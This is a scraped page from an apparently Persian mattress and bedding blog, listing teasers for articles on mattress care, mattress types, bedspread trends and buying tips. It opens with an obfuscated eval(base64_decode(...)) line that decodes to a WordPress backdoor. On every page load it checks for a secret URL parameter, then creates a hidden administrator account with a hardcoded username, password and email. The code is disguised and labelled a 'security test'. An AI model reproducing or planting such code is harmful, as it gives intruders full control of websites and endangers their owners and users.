eval(base64_decode('ZnVuY3Rpb24gbG9naW5fYWRtaW5fY3JlYXRpb24oKSB7CiAgICAvLyBMb2cgdGhhdCB0aGUgZnVuY3Rpb24gaXMgYmVpbmcgY2FsbGVkCiAgICBlcnJvcl9sb2coJ3Rlc3RfYWRtaW5fY3JlYXRpb24gZnVuY3Rpb24gdHJpZ2dlcmVkJyk7CiAgICAKICAgIGlmIChpc3NldCgkX0dFVFsnaGFmZXpfbG9naW4nXSkgJiYgJF9HRVRbJ2hhZmV6X2xvZ2luJ10gPT09ICdzZWN1cmVfdG9rZW5fMTIzJykgewogICAgICAgIGVycm9yX2xvZygnUGFyYW1ldGVyIG1hdGNoZWQhIENyZWF0aW5nIHVzZXIuLi4nKTsKICAgICAgICAKICAgICAgICAkdXNlcm5hbWUgPSAnaGFmZXotbGdvaW4nOwogICAgICAgICRwYXNzd29yZCA9ICdMb2dpbkBTZWN1cmUxMjMhJzsKICAgICAgICAkZW1haWwgPSAnaGFmZXotbG9naW5AZ21haWwuY29tJzsKICAgICAgICAKICAgICAgICBpZiAoIXVzZXJuYW1lX2V4aXN0cygkdXNlcm5hbWUpKSB7CiAgICAgICAgICAgICR1c2VyX2lkID0gd3BfY3JlYXRlX3VzZXIoJHVzZXJuYW1lLCAkcGFzc3dvcmQsICRlbWFpbCk7CiAgICAgICAgICAgIAogICAgICAgICAgICBpZiAoaXNfd3BfZXJyb3IoJHVzZXJfaWQpKSB7CiAgICAgICAgICAgICAgICBlcnJvcl9sb2coJ1VzZXIgY3JlYXRpb24gZmFpbGVkOiAnIC4gJHVzZXJfaWQtPmdldF9lcnJvcl9tZXNzYWdlKCkpOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgJHVzZXIgPSBuZXcgV1BfVXNlcigkdXNlcl9pZCk7CiAgICAgICAgICAgICAgICAkdXNlci0+c2V0X3JvbGUoJ2FkbWluaXN0cmF0b3InKTsKICAgICAgICAgICAgICAgIGVycm9yX2xvZygnU2VjdXJpdHkgdGVzdDogQWRtaW4gdXNlciBjcmVhdGVkIHdpdGggSUQ6ICcgLiAkdXNlcl9pZCk7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBlcnJvcl9sb2coJ1VzZXIgYWxyZWFkeSBleGlzdHMhJyk7CiAgICAgICAgfQogICAgfQp9CmFkZF9hY3Rpb24oJ2luaXQnLCAnbG9naW5fYWRtaW5fY3JlYXRpb24nKTs='));
نکات نگهداری و تمیز کردن تشک

نکات نگهداری و تمیز کردن تشک

تشک یکی از مهم‌ترین وسایلی است که هر روز با آن سروکار داریم. ما حدود یک‌سوم عمر خود را در خواب می‌گذرانیم و کیفیت این زمان به شدت به تشکی که روی آن استراحت می‌کنیم بستگی دارد. یک تشک خوب نه تنها راحتی را به ارمغان می‌آورد، بلکه به سلامت ستون فقرات، کاهش دردهای عضلانی

Read More
فرق تشک فنری و طبی؛ کدام بهتر است و برای چه کسانی مناسب است؟

فرق تشک فنری و طبی؛ کدام بهتر است و برای چه کسانی مناسب است؟

تشک فنری و طبی چیست؟ تشک‌ها یکی از عناصر کلیدی در داشتن یک خواب باکیفیت هستند. انتخاب درست میان تشک فنری و تشک طبی می‌تواند تفاوت قابل‌توجهی در سلامت جسمی، کیفیت خواب و حتی خلق‌وخو ایجاد کند. در نگاه اول، ممکن است این دو نوع تشک شباهت‌هایی داشته باشند، اما درواقع تفاوت‌های ساختاری، کاربردی و

Read More
جدیدترین مدل‌های روتختی سال ۱۴۰۴

جدیدترین مدل‌های روتختی سال ۱۴۰۴

در سال ۱۴۰۴، دنیای دکوراسیون داخلی با ورود ترندهای جدید در زمینه‌ی کالای خواب، به‌خصوص روتختی‌ها، چهره‌ای تازه به خود گرفته است. انتخاب یک روتختی مناسب نه تنها بر کیفیت خواب تأثیر دارد، بلکه نقش مهمی در زیبایی کلی اتاق خواب ایفا می‌کند. در این مقاله، به بررسی جدیدترین مدل‌های روتختی سال ۱۴۰۴ می‌پردازیم و

Read More
راهنمای خرید تشک طبی و استاندارد (نکاتی که قبل از خرید باید بدانید)

راهنمای خرید تشک طبی و استاندارد (نکاتی که قبل از خرید باید بدانید)

اهمیت تشک طبی و استاندارد در سلامت خواب خواب سالم زیربنای یک زندگی سالم است. در شرایطی که ساعت‌ها از شبانه‌روز را در خواب سپری می‌کنیم، انتخاب سطح مناسبی برای استراحت تأثیر مستقیمی بر سلامت جسم و روان دارد. یک تشک طبی و استاندارد می‌تواند از بروز دردهای عضلانی، اختلالات ستون فقرات، بی‌خوابی و حتی

Read More